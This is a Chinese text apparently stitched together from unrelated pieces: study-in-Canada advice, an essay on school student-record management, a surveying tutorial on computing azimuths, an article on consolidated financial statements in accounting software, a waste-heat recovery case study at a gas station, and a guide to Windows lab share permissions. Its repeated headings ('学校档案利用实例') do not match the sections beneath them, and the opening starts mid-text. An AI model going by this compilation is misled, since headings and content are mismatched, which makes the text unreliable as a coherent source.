这40多间大学的水平差别比较大，所以大家在选择心仪的大学时要多了解，可以通过排名，维基百科以及问问已经过去的留学生的方法大概了解你想报的大学，最后要确定3~5所你想报的学校以及专业，通过给学校申请拿到offer。一般来说假如你去了加拿大后发现自己选择的大学或者专业不适合自己的话，是可以转专业或者去拿另一间大学的offer去另一个学校报到，但如果到了9月份上课的时候再想转校，这就要问学校的老师。

College共有200所左右，这些college学校之间差别不会很大，，有些同学想西先在college读完2年，然后毕业后转到大学里读大三和大四，这样做是可以的，但一定要事先前问清楚你想上的college和那些大学有转学分协议，这个很重要，所以一定要问清楚 每一间College的雅思录取要求都不太一样，大致分为三种：

1)单项5.5以上 总分6.0;

2)单项5.0 总分6.5;

3)每一项都在6.5以上。

加拿大留学签证

目前想拿到加拿大签证的.话有2个途径，一种是原来普通的那种，就是要求有12个月存款的途径，另一种就是SPP。

1)普通的没什么好讲的大家可以去加拿大移民局的网站上看看：

www.cic.gc.ca/english/study/study.asp

要求各方面都在里面写的很清楚：

2) SPP (Student Partners Program)

这个SPP是个新途径，根据他的政策规定，最适合那些打算去读college，并且已经拿到了最低5.5分雅思成绩单，可是却没有12个月的存款记录。

可惜这个政策也很无语，你所申请的college一定要是那他们规定的41所学校里面的，去上大学的同学也享受不了这个政策。

官方的详细介绍：

www.canadainternational.g ... udying_etudier.asp

6.学校学籍档案管理及开发利用探讨 篇六

一、学校学籍档案管理工作中存在的普遍问题

(一) 不重视学籍档案的管理。

学籍档案主要是记录学生在校期间的学习成绩、行为操守等情况, 具有一定的原始性与法律性。但是当前很多学校的领导和管理者认为, 档案只是一种记录的形式, 除了用作学历证明之外, 没有太大的实际作用, 所以在进行档案记录时, 内容不完整、对学生的评语千篇一律, 没有根据学生自身的特点进行评价, 可信度、可参考度比较差, 而且由于学校不重视, 学籍档案管理主要以人工操作为主, 影响了学籍档案的真实和可靠。

(二) 管理制度和方法不完善。

加强学校的学籍档案管理工作, 就必须有完善的管理制度作为保障, 但是目前不完善的学籍档案管理制度, 造成学籍档案整理、保管工作局面混乱, 如学籍档案填写不规范、填写材料欠详尽、保管材料有遗漏等情况经常发生;造成管理人员素质能力不到位, 如管理人员没有达到相应的职称要求或没有取得相应的岗位资格证。学籍档案管理的方法也不完善, 如学籍档案中存在时间、内容漏填, 必要信息不填, 忘记盖章等现象, 造成档案材料信息不齐全;档案在转递时, 由于管理不够严格, 造成信息泄露。制度和方法的不完善, 已经严重制约学籍档案管理质量的提升及利用效果的实现。

(三) 缺乏高素质管理队伍。

学校学籍档案管理是一项非常细致的工作, 具有极强的程序性和专业性, 工作上要求严肃、认真, 人员上要求业务素质较高、职业道德较好。然而, 大部分学校学籍档案管理人员主要是由一些年龄比较大的职工、在外聘请的一些“半路出家”的人员或者一岗多责的人员组成。人员素质不高, 岗位职责过多, 难以将精力集中于档案管理工作上来, 影响了学籍档案管理工作的顺利开展;人员年龄结构不合理, 岗位更换频繁, 难以形成稳定的人才队伍, 影响了学籍档案管理工作的可持续发展;人员职责不明确、工作意识不足, 难以形成高效的工作团队, 影响学籍档案管理工作的有效开展。

二、加强学校学籍档案管理及开发利用的对策

(一) 提高对学籍档案管理的重视程度。

学籍档案记录学生在校表现和学习情况, 是学校日常管理的重要组成部分, 是单位选人用人的重要参考依据, 学籍档案的完整性、真实性在一定程度上影响单位对学校和学生的评价, 因此, 学籍档案的管理对学校声誉和学生前途有深远影响, 必须提高重视程度。学校应向学生讲解有关学籍制度, 促使学生明确努力方向, 规范学习行为, 遵循学校规则, 促进良好学风形成, 留下真实而良好的学习记录。学校领导也应重视和支持学籍档案工作的开展, 把它纳入到学校教务工作中去, 明确主管人员职责, 做好学籍档案的收集、整理、保管、利用等工作, 做到每学期每学年度按时、完整、准确归档, 并根据社会的发展变化, 不断加强管理, 提高重视程度, 使学校学籍档案管理工作跟上时代步伐, 发挥学籍档案的积极作用。

(二) 完善学籍档案管理制度和管理方法。

好的学籍档案管理制度可引导教学活动的有序进行, 从而提高学校的管理水平。学校应根据学籍档案的特点以及规律, 建立完善的、规范化的管理制度, 从学籍档案的收集、整理、保管到查询、利用等环节都要有完善的管理制度, 如制定学籍保管规定、学籍收集整理制度、学籍查询利用制度、学籍管理人员岗位职责等, 做到有章可循, 有据可依, 保证每一环节都严格按照规定执行。

完善的管理制度还要有好的管理方法进行配套, 可制定各类表格模板, 规定材料尺寸, 规范格式样式, 使收集的学籍材料比较整齐、统一, 提高整理操作效率;对归档的学籍档案科学地编制索引号, 并利用计算机进行辅助管理, 提高查询利用效率;制定有效的激励机制, 激发管理人员的责任意识和服务精神。

(三) 强化现代化的学籍档案管理及开发利用。

学籍档案电子化管理较传统管理方式具有强大优势, 存储信息量大, 保存时间和空间不受限制, 检索迅速、查阅方便, 能大大提高学籍档案管理的效率。在信息化时代, 学校应积极使用现代化的网络技术, 增加经费投入, 加强学籍档案的管理和利用, 根据学校的实际情况, 建立完善的学籍查询管理系统。建立和完善学生学籍信息档案, 完善查询功能, 保证学生的基本情况能够快速、准确的查获。对学生的升学、休学、退学等变动情况都能及时地反映到系统当中, 为学校领导和教师的查询提供便利, 从而及时掌握学生的情况。同时, 通过信息化的管理方式, 避免因纸质学籍档案丢失造成难以补齐补全学籍信息的情况发生, 消除日后对学生的就业影响。

现代化的学籍管理方式, 更有助于学籍档案的开发和利用, 学校可以通过对学生的学籍档案的分析和研究, 掌握信息资料, 总结出教学规律。学校也可以根据各届学生的学习情况、毕业情况等进行分析, 从而为今后的教学工作提供数据和信息支持, 而且完善的信息化学籍档案管理, 也能够快速的查询学生在校情况, 避免伪造学历证书等情况的出现。

(四) 推动学籍档案人才队伍建设和服务意识提升。

专业且细致的学籍档案管理工作要求管理人员具备一定的科学文化水平和业务知识, 热爱档案事业, 有责任心和服务意识, 能研究和解决新问题。要建立这样的人才队伍, 非一朝一夕可以实现的, 学校应有针对性地培养人才, 适当提高人员待遇, 稳定管理队伍, 激发工作热情, 保证学籍档案管理工作的严肃性和持续性。

养档千日, 用在一朝, 提供利用是档案价值最直接的体现, 再能干的学籍档案管理人才也不能缺失服务意识。学籍档案中的学习成绩、奖励、评价等都是关乎学生利益的, 职称评定、继续教育学分确认、遗失证书开具学历证明都需要用到学籍相关证明。学校应制定服务工作考核标准, 强化管理人员的责任感和使命感;设置学籍档案利用服务评价表, 自觉接受外界服务评价监督, 提升自身服务意识;认真收集整理和保管学生的学籍档案, 并进行系统化的管理, 便于随时查阅利用, 提供准确、可靠的信息资源。

三、结束语

学籍档案是记录学生在校各种情况的历史资料, 具有一定的价值, 学校应积极完善学籍档案的管理制度和管理方法, 提高学籍档案管理人员的服务意识, 建立完善的查询体系, 便于学校学籍档案的开发和利用。

参考文献

[1]郭晶涛.高校学籍档案的管理与利用[J].黑龙江史志, 2010.9 (3) :23-24.

7.学校档案利用实例 篇七

关键词:坐标方位角坐标

0 引言

在市政工程施工测量过程中,经常会遇到根据已知导线控制点,利用经纬仪、钢尺测设待定点的实际问题,解决此类问题往往需要计算坐标方位角或点位坐标,根据工作中的实践体会将计算方法总结如下:

1 根据已知控制点计算坐标方位角,测设放样点平面位置(极坐标法)

首先明确方位角的概念,方位角是指从直线起点的标准方向北端开始,顺时针量到直线的夹角,以坐标纵轴作为标准方向的称为坐标方位角(以下简称方位角)。测量上选用的平面直角坐标系,规定纵坐标轴为x轴,横坐标轴为y轴,象限名称按顺时针方向排列(图1),即第Ⅰ象限x>0 y>0;第Ⅱ象限x<0 y>0;第Ⅲ象限x<0 y<0;第Ⅳ象限x>0 y<0,或许对于测量坐标系与数学坐标系的x、y轴位置不同,象限规定不同,觉得难理解,其实能注意到测量上的平面直角坐标系与数学上的平面直角坐标系只是规定不同,x轴与y轴互换,象限的顺序与相反,因为轴向与象限顺序同时都改变,只要真正理解了方位角的定义,测量坐标系的实质与数学上的坐标系是一致的,因此数学中的公式可以直接应用到测量计算中。

例:如图2,A、B为已知导线控制点,其坐标为:

xA=32478.591m xB=32355.13m

yA=42043.538m yB=41952.03m

P为放样点,其设计坐标为:

xP=32317.311m yP=41961.078m

1.1 按给定的坐标数据计算方位角αBA、αBP

ΔxBA=xA-xB=+123.461m

ΔyBA=yA-yB=+91.508m

由于ΔxBA>0,ΔyBA>0

可知αBA位于第Ⅰ象限,即

αBA=arctg=36°32'43.64"

ΔxBP=xP-xB=-37.819m

ΔyBP=yP-yB=+9.048m

由于ΔxBP<0,ΔyBP>0

可知αBP位于第Ⅱ象限,即由图2得

αBP=180o-α=180o-arctg

=180o-13o27'17.33"=166°32'42.67"

此外,当Δx<0,Δy<0;位于第Ⅲ象限,方位角=180°+ arctg

当Δx>0,Δy<0;位于第Ⅳ象限,方位角=360°+ arctg

1.2 计算放样数据∠PBA、DBP

由图2,∠PBA=αBP-αBA=129°59'59.03"

DBP= =38.886m

1.3 测设时,把经纬仪安置在B点,瞄准A点,按顺时针方向测设∠PBA,得到BP方向,沿此方向测设水平距离DBP,就得到P点的平面位置。

2 当受地形限制不便于量距时,可采用角度交会法测设放样点平面位置

上例中,当BP间量距受限时,通过计算测设∠PAB、∠PBA来定P点

2.1 根据给定坐标计算∠PAB

ΔxAP=xP-xA=-161.28m

ΔyAP=yP-yA=-82.46m

αAP=180°+arctg =207°4'47.88"

又αAB=180°+αBA=180°+36°32'43.64"=216°32'43.64"

∠PAB=αAB-αAP=9°27'55.76"

2.2 测设时,在A、B上各架设一台经纬仪,根据已知方向分别测设∠PAB、∠PBA,定出AP、BP方向,得P点的大概位置,打上大木桩,在桩顶面上沿每个方向线各标出两点,将相应点连起来,其交点即为P点位置。

上述(一)、(二)为基本计算方法,如果利用计算机计算可利用下面推导公式直接计算,免去判断方位角所在象限及取值范围,方便快速。

α=180°-90°×sign(Δy)-arctg

注: sign(number)函数返回数字的正负号,数字为正时,返回1;为零时,返回0;为负时,返回-1。

3 根据已知控制点计算坐标方位角,求加设控制点坐标

上例中当AP、BP间有障碍物不能通视时,可加设控制点,在BP连线附近选定C点使之与B、P均能通视(图3)。

3.1 将经纬仪安置在B点,瞄准A点,分别按盘左、盘右位置测出水平角,取平均值∠ABC=170°15'22",钢尺量出距离DBC =25.355m。

3.2 计算BC方位角

αBC=αBA+∠ABC

=36°32'43.64"+170°15'22"

=206°48'5.64"

3.3 计算C点坐标

xC=xB+DBC·cosαBC=32332.50m

yC=yB+DBC·sinαBC=41940.60m

3.4 由图3可知

αCB=αBC-180°=26°48′5.64″

根据C、P点坐标计算ΔxCP、ΔxCP得出αCP=180°+ arctg

=126°33'54.62"

同理求出夹角∠BCP=αCP-αCB=99°45'48.98"、DCP=25.496m,得到P点平面位置。

4 结束语

以上是个人工作中总结得来,有实用价值,由于水平有限,疏漏之处在所难免,供工程施工技術人员参考、商榷。

参考文献:

8.学校档案利用实例 篇八

一、合并范围的确定

按《企业会计准则第33号———合并财务报表》的规定, 公司所控制的全部子公司都应纳入合并财务报表的合并范围。以母公司和纳入合并范围子公司的财务报表及其他相关资料为依据, 按照权益法调整对子公司的长期股权投资后, 由母公司编制合并财务报表。合并时对内部权益性投资和子公司所有者权益、内部投资收益和子公司利润分配、内部交易、内部债权债务等进行抵销, 需要合并的报表包括资产负债表、利润表、现金流量表及所有者权益变动表。

集团公司纳入合并范围的分、子公司有17家, 其中在水一方公司由两家子公司共同持股。集团公司持股关系分述如下:

(1) 投资方为渝海集团公司。对被投资方累计持股比例为:卓杰商务公司100%;华兴工程监理公司100%;渝海物业公司70%;海南渝海公司50%;君恒公司100%;渝海实业公司50%;项目管理分公司100%;云南分公司100%;贵州分公司100%。

(2) 投资方为成功物业公司。对被投资方累计持股比例为:在水一方公司10%。

(3) 投资方为君恒公司。对被投资方累计持股比例为:城市广场公司100%;渝恒建材公司100%;商业地产分公司100%。

(4) 投资方为渝海实业公司。对被投资方累计持股比例为:地王广场公司100%;万和物业公司50%;成功物业公司46.75%;在水一方公司90%;七星商业分公司100%。

首先有两个问题需要解决: (1) 是逐级合并还是不分级次只在母公司做一个大合并。实际工作中是每月做大合并, 以满足内部管理的需要, 年底逐级合并。这样做的好处是提高工作的效率。 (2) 分公司怎样合并, 持股比例如何计算。如果做大合并, 分公司不用先合并到子公司或母公司, 直接合并到集团公司。分公司一般没有实收资本, 在合并时持股比例视同100%。

二、进行首次合并时需要进行抵销方案设置

1. 母公司对子公司的权益性投资项目与子公司所有者权益项目相抵销。由于现行准则采用成本法核算权益性投资, 需要先做成本法转权益法处理。在编制合并财务报表时, 应作如下抵销分录:借:实收资本 (股本) , 资本公积, 盈余公积, 未分配利润 (子公司报表数) ;贷:长期股权投资 (母公司对子公司的投资额) , 少数股东权益 (子公司其他股东享有的净资产份额=子公司净资产×其他股东的股权份额) 。由于本集团都是同一控制下的企业合并, 没有借贷方差额。

2. 母公司和其他少数股东本期对子公司的投资收益、子公司期初未分配利润与子公司本期利润分配项目和期末未分配利润相抵销:借:投资收益 (母公司本期对子公司的投资收益=子公司本期净利润×母公司的股权份额) , 少数股东本期收益 (其他股东本期对子公司的投资收益=子公司本期净利润×其他股东的股权份额) , 期初末分配利润 (子公司利润分配表中的年初未分配利润金额) ;贷:提取盈余公积 (子公司利润分配表中的项目金额) , 对所有者 (或股东) 的分配 (子公司利润分配表中的项目金额) , 未分配利润 (子公司的期末未分配利润金额) 。

3. 内部债权与债务项目的抵销。

(1) 内部债权债务项目本身的抵销。在编制合并资产负债表时, 需要进行抵销处理的内部债权债务项目主要包括: (1) 应收账款与应付账款; (2) 应收票据与应付票据; (3) 预付账款与预收账款; (4) 持有至到期投资 (假定对该项债券投资, 持有方划归为持有至到期投资, 也可能作为交易性金融资产等, 原理相同) 与应付债券; (5) 应收股利与应付股利; (6) 其他应收款与其他应付款。抵销分录为:借:债务类项目;贷:债权类项目。

(2) 内部投资收益 (利息收入) 和利息费用的抵销。企业集团内部母公司与子公司、子公司相互之间可能发生持有对方债券等内部交易。编制合并财务报表时, 应当在抵销内部发行的应付债券和持有至到期投资等内部债权债务的同时, 将内部应付债券和持有至到期投资相关的利息费用与投资收益 (利息收入) 相互抵销。应编制的抵销分录为:借:投资收益;贷:财务费用。

(3) 内部应收账款计提坏账准备的抵销。在采用备抵法核算应收账款坏账损失的情况下, 某一会计期间坏账准备的数额是以当期应收账款为基础计提的。在编制合并财务报表时, 随着内部应收账款的抵销, 也需将相应的坏账准备进行抵销。首先, 抵销坏账准备的期初数, 抵销分录为:借:应收账款———坏账准备;贷:未分配利润———年初。然后, 抵销本期计提 (或冲回) 的坏账准备数额, 抵销分录与计提 (或冲回) 分录借贷方向相反。借:应收账款———坏账准备;贷:资产减值损失, 或:借:资产减值损失;贷:应收账款———坏账准备。

4. 内部商品销售业务的抵销。借:未分配利润———年初 (期初存货中包含的未实现内部销售利润) , 营业收入 (本期内部商品销售产生的收入) ;贷:营业成本, 存货 (期末存货中未实现内部销售利润) 。

上述抵销分录的原理为:本期发生的未实现内部销售收入与本期发生存货中未实现内部销售利润之差即为本期发生的未实现内部销售成本。抵销分录中的“未分配利润———年初”和“存货”两项金额之差即为本期发生的存货中包含的未实现内部销售利润。

5. 内部固定资产交易及其他交易的处理。由于本集团之间内部固定资产交易较少, 设置抵销规则也相对复杂, 采用手工录入抵销分录方式处理。如果发生其他交易也如此。

三、收集报表数据

因为用友NC系统实现了网络化, 子公司每月定期将报表在软件系统中上报。需要上报的报表包括资产负债表、利润表、现金流量表、所有者权益变动表、长期股权投资明细表、内部债权债务明细表及内部销售明细表。

四、对账

根据录入的报表数据对账, 主要是债权债务核对, 可以由软件自动完成, 然后找出对账不符的单位, 返回子公司修改。由于各种原因, 可能反复核对后仍有不一致的数据, 在设置抵销规则时, 一般取小的金额抵销。

五、报表生成

以上工作完成后, 生成抵销分录和合并财务报表, 资产负债表只合并期末数, 期初数取上年期末数。经过核对, 发现两个问题: (1) 超额亏损未体现出来, 超额亏损就是资不抵债, 表现在报表中就是所有者权益合计数小于零, 超额亏损部分应该由大股东全部承担。渝海实业和海南渝海两家子公司所有者权益为负数, 修改抵销规则后, 少数股东收益和少数股东权益正确。 (2) 上年12月母公司将价值8 000万元的投资性房地产出售给子公司君恒公司, 利润2 000万元。手工录入抵销分录:借:未分配利润———年初2 000;贷:投资性房地产2 000。借:投资性房地产累计折旧50 (折旧年限40年) ;贷:营业成本50。

作上述处理后, 重新生成合并财务报表, 经检查结果正确。

以后月份编制报表只需重复三、四、五步, 手工分录可以录在常用分录里, 编制合并财务报表时调出来即可。

摘要：本文针对利用财务软件编制合并财务报表的方法和过程存在的几个问题, 提出相应的解决方法, 以有助于财务人员高效准确地编制出合并财务报表。

关键词：合并财务报表,软件,编制

参考文献

9.学校档案利用实例 篇九

大港油田天然气公司天然气处理站现有锅炉房1座, 锅炉房容量为3台10t/h蒸汽锅炉, 原设计为工艺用热、采暖用热和伴热用热。由于现在基本没有工艺用热, 只是冬季采暖和伴热用热, 所以锅炉房容量过大。天然气处理站采暖、制冷区域面积如表1所示。在实际运行过程中, 锅炉的使用负荷只有5t/h, 白消耗燃料天然气1万m3左右, 水220m3左右, 电500kWh左右。

夏季, 处理站所有的操作间、办公区域均采用空调制冷, 共有功率为2～5匹的空调近50余台, 每天按使用12h计算, 至少日耗电1200kWh。

另外, 目前天然气处理站深冷、深加工装置还有3台加热炉:1台为深冷装置生产供热的美国富尔顿FT-1200-C型硅油炉, 1台为深加工装置生产供热的HTF-200型硅油炉, 1台为分子筛脱水装置加热用的GL1500-Q/1.6-Q型再生天然气加热炉。3台炉日均产生200℃左右的烟气13500m3排放到大气中。

根据上述情况, 从节能降耗、优化生产运行模式及减轻员工劳动强度等多方面的因素来考虑对天然气处理站的供热系统进行改造, 目的是解决锅炉房容量过大、能源浪费的问题, 同时对余热进行回收利用, 节约能源。

2 余热回收方案

目前天然气处理站办公区域夏季空调负荷为578kW, 冬季采暖热负荷为392kW, 生产区生产厂房冬季采暖热负荷为410kW。经调查, 处理站内3台国产天然气压缩机及2台进口天然气压缩机缸套循环冷却水余热已进行回收利用于生产厂房冬季采暖, 缸套循环冷却水进压缩机温度40℃, 出水温度51℃, 利用余热量459kW, 可以满足生产厂房冬季采暖热负荷。因此本次工程改造方案最终确定为利用加热炉热管式烟气余热回收装置对3台加热炉烟气余热进行回收, 用于办公区域夏季空调, 冬季采暖。

利用加热炉热管式烟气余热回收装置 (见图1) 将处理站加热炉每天产生的烟气余热通过换热器加热水到98℃, 可回收热量约 (5.9～8.4) ×105kJ, 占可利用热量的45%左右;可制取冷量 (4.2～6.7) ×105kJ, 占总冷量的20%～32%, 剩余部分由天然气补燃。

新建3台加热炉热管式烟气余热回收装置, 在现有3台加热炉烟囱的约2m高处分别设置分支烟道, 烟气分别进入3台热管式烟气余热装置, 换热完的烟气再回至主烟囱, 在每具烟囱的分支烟道之间安装1个烟道阀门, 阀门开度根据烟气余热装置出水温度进行调节, 烟气流程如图2所示。

新增1台远大BZDH582Ⅸ型溴化锂一体机, 并将进、出口管线连接, 实现完全热交换来制冷、供热和提供热水, 可完全满足处理站冬季为装置生产提供可循环利用的热水伴热防冻, 及为处理站约4888m2的办公区域、操作间提供冬季采暖、夏季制冷。

利用处理站原有的蒸汽伴热管线和采暖管线, 增加部分控制阀门, 改造部分蒸汽伴热线及新建1条循环回水管线。

3 经济效益和社会效益

(1) 经济效益预测 (投资回报及运行费用分析) 。

余热利用改造后, 蒸汽锅炉将作为供热的紧急备用炉, 同时为每年装置大检修安全处理提供蒸汽。冬季日常生产防冻伴热、夏季办公区域制冷采用余热利用一体化装置, 大大减少水、电、气的消耗及锅炉日常水处理和维护保养的费用。投资收益如表2所示。

从表2对比分析可以看出, 改造前天然气处理站每年采暖、制冷运行费用127.37万元, 而改造后采用远大BZDH582Ⅸ型溴化锂一体机进行余热利用运行, 每年只需15.88万元, 年节能降耗创效可达111.3.万元, 3年多就可以收回全部投资。

(2) 社会效益分析。

天然气处理站作为甲级防火防爆单位, 安全生产的责任重大, 安全风险系数高, 而采用余热利用进行冬季生产、生活伴热和夏季制冷, 停止了大型压力容器设备锅炉的使用, 不仅有效减少生产运行的风险, 提高处理站安全平稳生产的能力, 还缓解了目前操作岗位员工紧缺的局面, 降低了员工的劳动强度。

4 结语

(1) 经过改造, 原处理站内低负荷运行蒸汽锅炉停运, 节约大量运行费用;对站场内的大量烟气余热进行了回收利用, 回收了能源。

(2) 油田站场内有大量的工业余热可以利用, 通过合适的技术手段对其进行回收利用, 可以有效减少企业的开支, 增加企业的经济效益。本工程的思路和做法在油田站场建设中具有很高的推广价值。

(3) 本工程改造时间为2007年, 于2007年底交付业主使用, 经过2007～2009三个年度的使用情况看, 目前采暖空调系统运行稳定, 达到了设计要求, 与当时所作的经济效益评价基本吻合, 用户反映良好。

(4) 本工程将根据站场工艺装置余热的排放情况, 待时机成熟, 进一步改造, 以提高回收余热量占采暖空调系统冷热负荷的比重, 降低溴化锂一体机的天然气补燃量, 从而进一步提高运行经济效益。

摘要：介绍大港油田天然气公司天然气处理站余热回收工程实例, 描述进行工程改造的必要性, 分析处理站可以进行余热回收的工艺流程, 最终采用烟气余热回收设备对加热炉烟气的余热进行回收, 回收热量用于天然气处理站办公房间的冬季采暖夏季空调及工业伴热, 工程改造后经济效益明显。本工程做法在油田站场建设中具有很高的推广价值。

关键词：天然气处理站,烟气,余热回收,一体化溴化锂机组

参考文献

[1]陆耀庆.实用供热空调设计手册[M].北京:中国建筑工业出版社, 2008.

10.学校机房共享目录权限设置实例 篇十

1 机房环境

1.1 教师机:

windows server2000;1.2学生机:windows2000;1.3机房内计算机通过交换机相连组成局域网。

2 重点解决的问题

2.1 文件集中存放到教师机, 集中管理。

2.2文件的安全存取, 学生有权读、写自己的文件, 不能让学生任意访问别人上交的作业文件;从技术上防止学生互相抄袭作业。

3 问题的实现

上课时学生使用指定账号登录, 登录时由程序调用NET USE命令产生映射盘符 (指向教师机与登录账号相关的文件夹) , 然后学生通过访问映射盘, 直接在教师机进行上机作业的存取。

3.1 在教师中需要为每一台学生机分配独

立的用户号, 需要为每个用户分配独立的操作空间, 使得每台学生机操作的目录相互独立, 不Á能互相访问

3.2 教师机的设置。

教师机的文件系统必须是NTFS。3.2.1建立所需的目录。在教师机下建立一个学生目录XS, 再在学生目录XS下建立三个学生用户目录X01、X02、X03。3.2.2建立XSGROUP组和X01、X02和X03三个用户建立X01、X02和X03三个用户和XSGROUP组, 这个组包括X01、X02和X03三个用户。3.2.3设定学生目录XS的共享属性。用鼠标右点击学生目录XS弹出一个菜单, 选择“共享”属性并在随后出现的画面中选择“共享名”, 设为XS (默认) , 点击“权限”, 将XS目录设为everyone完全控制。在Windows2000下, 目录的属性具有继承性, XS目录下所有子目录都具有了这个共享属性, 不用再对子目录单独设置。3.2.4设定目录及文件的安全属性。设定XS目录后, 需要按下表对相关目录进行安全属性设置。

a.设定XS目录的安全属性。在XS目录的安全属性窗口中, 用“删除”功能将Everyone组删除, 点击“添加”按钮, 增加“Administrator”并在权限中选择“完全控制”;增加“XSGROUP”组并使其具有“读取、运行”权限。

b.设定学生目录X01的安全属性。对学生目录X01, Administrator和X01用户具有完全控制的权限。

其它学生目录的设置与X01安全属性设置类似。如对X02目录, Administrator和X02用户具有完全控制的权限。

3.3 学生机的设置

在不同的学生机上分别建立X01、X02和X03……用户, 用户隶属于administrators组, 在不同的学生机上分别用X01、X02和X03……用户重新登录, 映射教师机下学生目录XS为X盘, 并选定登录时重新连接。

至此, 设置完成。